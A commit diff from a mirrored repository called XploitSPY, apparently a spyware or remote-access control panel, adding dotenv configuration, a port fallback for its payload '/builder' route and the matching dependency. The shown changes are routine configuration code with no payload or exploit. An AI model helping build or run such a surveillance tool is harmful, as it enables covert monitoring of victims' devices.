mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-11 23:45:36 +08:00
Fixed .env related issues
This commit is contained in:
parent
d041ac10e7
commit
7f21370cab
@ -1,6 +1,7 @@
|
||||
const
|
||||
express = require('express'),
|
||||
routes = express.Router(),
|
||||
result = require('dotenv').config()
|
||||
cookieParser = require('cookie-parser'),
|
||||
bodyParser = require('body-parser'),
|
||||
crypto = require('crypto');
|
||||
@ -66,7 +67,7 @@ routes.get('/logout', isAllowed, (req, res) => {
|
||||
routes.get('/builder', isAllowed, (req, res) => {
|
||||
res.render('builder', {
|
||||
// myPort: CONST.control_port
|
||||
myPort: process.env.PORT
|
||||
myPort: process.env.PORT || CONST.control_port
|
||||
});
|
||||
});
|
||||
|
||||
|
1
index.js
1
index.js
@ -9,6 +9,7 @@ const
|
||||
express = require('express'),
|
||||
app = express(),
|
||||
server = require('http').createServer(app),
|
||||
result = require('dotenv').config(),
|
||||
IO = require('socket.io')(server),
|
||||
geoip = require('geoip-lite'),
|
||||
CONST = require('./includes/const'),
|
||||
|
5
package-lock.json
generated
5
package-lock.json
generated
@ -197,6 +197,11 @@
|
||||
"resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz",
|
||||
"integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA="
|
||||
},
|
||||
"dotenv": {
|
||||
"version": "8.2.0",
|
||||
"resolved": "https://registry.npmjs.org/dotenv/-/dotenv-8.2.0.tgz",
|
||||
"integrity": "sha512-8sJ78ElpbDJBHNeBzUbUVLsqKdccaa/BXF1uPTw3GrvQTBgrQrtObr2mUrE38vzYd8cEv+m/JBfDLioYcfXoaw=="
|
||||
},
|
||||
"ee-first": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
|
||||
|
@ -12,6 +12,7 @@
|
||||
"dependencies": {
|
||||
"body-parser": "^1.19.0",
|
||||
"cookie-parser": "^1.4.4",
|
||||
"dotenv": "^8.2.0",
|
||||
"ejs": "^2.6.2",
|
||||
"express": "^4.17.1",
|
||||
"geoip-lite": "^1.3.7",
|
||||
|
Loading…
Reference in New Issue
Block a user